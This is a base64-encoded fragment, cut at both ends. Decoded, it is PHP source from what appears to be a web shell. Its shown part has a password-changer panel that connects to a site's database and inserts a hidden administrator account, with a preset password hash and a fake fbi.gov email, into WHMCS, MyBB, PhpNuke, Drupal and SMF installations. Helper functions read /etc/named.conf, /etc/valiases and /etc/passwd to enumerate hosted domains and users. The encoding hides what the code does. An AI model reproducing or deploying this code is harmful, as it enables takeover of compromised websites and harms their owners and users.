iAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgn
ID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmlAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCc
pCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydob2tpMSddICYmICRfUE9TVFsnaG9raTEnXS
A9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnaG9raTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydob2tpMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2hva2k0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnaG9raTUnXTsKJGFkbWluID0gJF9QT
1NUWydob2tpOCddOwokU1FMID0gJF9QT1NUWydob2tpOSddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3Vu
aT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB0YmxhZG1pbnMgKGlkLHJvbGVpZCx1c2VybmFtZSxwYXNzd29yZCxlbWFpbCx0ZW1wbGF0ZSxob21ld2lkZ2V0cykgdmFsdWVzKG51bGwsJzEnLCciLiRhZG1pbi4iJywnZDRhNTkwY2F
hY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCciLiRTUUwuIicsJ2JsZW5kJywnZ2V0dGluZ19zdGFydGVkOnRydWUsb3JkZXJzX292ZXJ2aWV3OnRydWUsc3VwcG9ydHRpY2tldHNfb3ZlcnZpZXc6dHJ1ZSxteV9ub3Rlczp0cnVlLGNsaWVudF9hY3
Rpdml0eTp0cnVlLG9wZW5faW52b2ljZXM6dHJ1ZSxhY3Rpdml0eV9sb2c6dHJ1ZXxpbmNvbWVfb3ZlcnZpZXc6dHJ1ZSxzeXN0ZW1fb3ZlcnZpZXc6dHJ1ZSx3aG1jc19uZXdzOnRydWUsc3lzaW5mbzp0cnVlLGFkbWluX2FjdGl2aXR5OnRydWUsd
G9kb19saXN0OnRydWUsbmV0d29ya19zdGF0dXM6dHJ1ZSxpbmNvbWVfZm9yZWNhc3Q6dHJ1ZXwnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMg
Y3JlYXRlZC4uLicpO30KfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTcnXSkgJiYgJF9QT1NUWydob2tpNyddID09ICdteWJiJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgTXliYiB8PC9kaXY
+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdteWJiJykuJzwvcD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZS
x0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsXCdteWJiXCcsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJ
yA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6
ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5
wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJy
csICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgP
T4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lu
cHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA
9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ2
tpc2VyeW91bmknLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpb
CcsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48
L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2hva2kxJ10gJiYgJF9QT1NUWydob2tpMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydob2tpMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2hva2kzJ107CiR1c2VybmFtZSA
9ICRfUE9TVFsnaG9raTQnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydob2tpNSddOwokYWRtaW4gPSAkX1BPU1RbJ2hva2k4J107CiRTUUwgPSAkX1BPU1RbJ2hva2k5J107CiRwcmVmaXggPSAkX1BPU1RbJ2hva2kxMCddOwokY29ubj1AbXlzcWxpX2
Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzI
Ch1aWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCx1c2VyZ3JvdXApIHZhbHVlcyhudWxsLCciLiRhZG1pbi4iJywnZTcxZjJjMzI2NTYxOTAzOGQ4MjZhMWFjNmUyYjliOGUnLCd5d3phNjhsUycsJyIuJFNRTC4iJywnNCcpIikgb3IgZGll
KG15c3FsaV9lcnJvcigkY29ubikpOwppZigka2lzZXJ5b3VuaSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydob2tpOCddKSAmJiAkX1BPU1RbJ2hva2k4J10gPT0
gJ251a2UnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQaHBOdWtlIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3BocG51a2UnKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaG
FuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnbnVrZVwnLHRoaXMuZW1ha
WwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdp
ZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA
9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE
5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJ
ywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZG
RkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2x
vcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT
4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4J
yA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAn
KQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnaG9raTEnXSAmJiAkX1BPU1RbJ2hva2kxJ10
gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnaG9raTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydob2tpNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2hva2k1J107CiRhZG1pbiA9ICRfUE
9TVFsnaG9raTcnXTsKJFNRTCA9ICRfUE9TVFsnaG9raTknXTsKJHByZWZpeCA9ICRfUE9TVFsnaG9raTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzc
WxpX2Vycm9yKCRjb25uKSk7CiRoYXNoID0gbWQ1KCRwd2QpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguIl9hdXRob3JzKGFpZCxuYW1lLGVtYWlsLHB3ZCkgdmFsdWVzKCckYWRtaW4nLCdH
b2QnLCckU1FMJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLic
pO30KfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTknXSkgJiYgJF9QT1NUWydob2tpOSddID09ICdkcnVwYWwnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBEcnVwYWwgfDwvZGl2PjxwPjxwPi
cuZ2V0Q29uZmlnSHRtbCgnZHJ1cGFsJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLG51bGwsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlL
HRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnZHJ1cGFsXCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAn
dGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29
sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycm
F5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9P
gogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2
JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9Pgo
gYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJy
A9PiB0cnVlKQogKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2hva2kxJ10gJiYgJF9QT1NUW
ydob2tpMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydob2tpMiddOwokZGF0YWJhc2UgPSAkX1BPU1RbJ2hva2k0J107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTUnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydob2tpNiddOwokYWRt
aW4gPSAkX1BPU1RbJ2hva2k4J107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXREZXNjdWlkID0gQG15c3FsaV9xdWV
yeSgkY29ubiwic2VsZWN0IHVpZCBmcm9tIHVzZXJzIG9yZGVyIGJ5IHVpZCBkZXNjIGxpbWl0IDAsMSIpOwokZ2V0RGVzY3VpZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJGdldERlc2N1aWQpOwokZ2V0RGVzY3VpZCA9ICRnZXREZXNjdWlkWyd1aW
QnXTsKJGdldGRlc2N1aWQgPSAkZ2V0RGVzY3VpZCsrOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB1c2VycyAodWlkLG5hbWUscGFzcyxtYWlsLHNpZ25hdHVyZV9mb3JtYXQsc3RhdHVzLHRpbWV6b25lLGlua
XQpIHZhbHVlcygnJGdldERlc2N1aWQnLCckYWRtaW4nLCdcJFNcJERQMnk5QWJvbENCT2RcL1d5UWNwenU0ekY1N3FFMG5veUNOZVhaV3YuMzdSNjZWc0ZqT2lDJywna2lzZXJ5b3VuaUBmYmkuZ292JywnZmlsdGVyZWRfaHRtbCcsJzEnLCdFdXJv
cGUvQmVybGluJywna2lzZXJ5b3VuaUBmYmkuZ292JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyB3aGVyZSBuYW1lPSciLiRhZG1pbi4
iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2UgPSBteXNxbGlfbnVtX3Jvd3MoJGtpc2VyeW91bmkpOwppZiAoJGtpc2UgPT0gMSl7CiRraXNldmlzID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRraXNlcnlvdW5pKTsKJHJlcyA9IC
RraXNldmlzWyd1aWQnXTsKfQoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJJTlNFUlQgSU5UTyB1c2Vyc19yb2xlcyAodWlkLHJpZCkgVkFMVUVTICgnIi4kcmVzLiInLCAnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpO
wppZigka2lzZXJ5b3VuaSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KCmlmKGlzc2V0KCRfUE9TVFsnaG9raTEwJ10pICYmICRfUE9TVFsnaG9raTEwJ10gPT0gJ3NtZicpewoKZWNobyBfX3By
ZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU01GIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3NtZicpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx
0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLG51bGwsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLHRoaXMuYWRtaW4udmFsdWUsbnVsbCxcJ3NtZlwnKTsgcmV0dX
JuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY
2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lu
cHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2V
yJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2
RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnL
CAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICdzbWZfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4g
J0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWl
uIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnaGknLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmknLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbn
B1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmICgkX1BPU1RbJ2hva2kxJ10gJiYgJF9QT1NUWydob2tpMSddID09ICc+PicpewokbG9jYWxob3N0ID0gJF9QT1NUWydob2tpMiddO
wokZGF0YWJhc2UgPSAkX1BPU1RbJ2hva2kzJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTUnXTsKJHBhc3N3b3JkID0gJF9QT1NUWydob2tpNiddOwokcHJlZml4ID0gJF9QT1NUWydob2tpNyddOwokYWRtaW4gPSAkX1BPU1RbJ2hva2k4J107
CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzZXRwd0FsZyA9IHNoYTEoc3RydG9sb3dlcigkYWRtaW4pIC4gJ2tpc2VyeW9
1bmknKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9bWVtYmVycyAoaWRfbWVtYmVyLG1lbWJlcl9uYW1lLGlkX2dyb3VwLHJlYWxfbmFtZSxwYXNzd2QsZW1haWxfYWRkcmVzcykgdmFsdWVzKG
51bGwsJyRhZG1pbicsJzEnLCckYWRtaW4nLCckc2V0cHdBbGcnLCdraXNlcnlvdW5pQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicga
XMgY3JlYXRlZC4uLicpO30KfQp9CmVjaG8gIjwvZGl2PiI7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpTWFrZVB3ZCgpewoJaWYoX2hva2lfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKXx8KF9ob2tpX2ZpbGVf
ZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSYmX2hva2lfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMiKSkpewoJCXJldHVybiAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7Cgl9CgkkZG9jdW1lbnQgPSBleHBsb2RlKCIvIiwgJF9TRVJWRVJ
bIkRPQ1VNRU5UX1JPT1QiXSk7CgkkcHVibGljID0gZW5kKCRkb2N1bWVudCk7CglhcnJheV9wb3AoJGRvY3VtZW50KTsKCWFycmF5X3BvcCgkZG9jdW1lbnQpOwoJJHBhdGggPSBpbXBsb2RlKCIvIiwgJGRvY3VtZW50KSAuICIve3VzZXJ9LyIgLi
AkcHVibGljOwoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGhva2lHZXREb21haW5zKCRzdGF0ZSA9IGZhbHNlKXsKCSRzdGF0ZSA9ICJuYW1lZC5jb25mIjsKCSRsaW5lcyA9IGFycmF5KCk7CgkkbGluZXMgPSBfaG9raV9maWxlKCcvZXRjL25hb
WVkLmNvbmYnKTsKCWlmKCEkbGluZXMpewoJCSRsaW5lcyA9IEBzY2FuZGlyKCIvZXRjL3ZhbGlhc2VzLyIpOwoJCSRzdGF0ZSA9ICJ2YWxpYXNlcyI7CgkJaWYoISRsaW5lcyl7CgkJCSRsaW5lcyA9IEBzY2FuZGlyKCIvdmFyL25hbWVkIik7CgkJ
CSRzdGF0ZSA9ICJuYW1lZCI7CgkJCWlmKCEkbGluZXMgJiYgJHN0YXRlKXsKCQkJCSRsaW5lcyA9IF9ob2tpX2ZpbGUoJy9ldGMvcGFzc3dkJyk7CgkJCQkkc3RhdGUgPSAicGFzc3dkIjsKCQkJfQoJCX0KCX0KCXJldHVybiBhcnJheSgibGluZXM
iID0+ICRsaW5lcywgInN0YXRlIiA9PiAkc3RhdGUpOwp9CmZ1bmN0aW9uIGhva2lDcmVhdGVQYXJlbnRGb2xkZXIoKXsKCSRwYXJlbnQgPSAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fSE9LSV9EQVRBX0ZPTERFUl9fOwoJaWYoIUBpc1
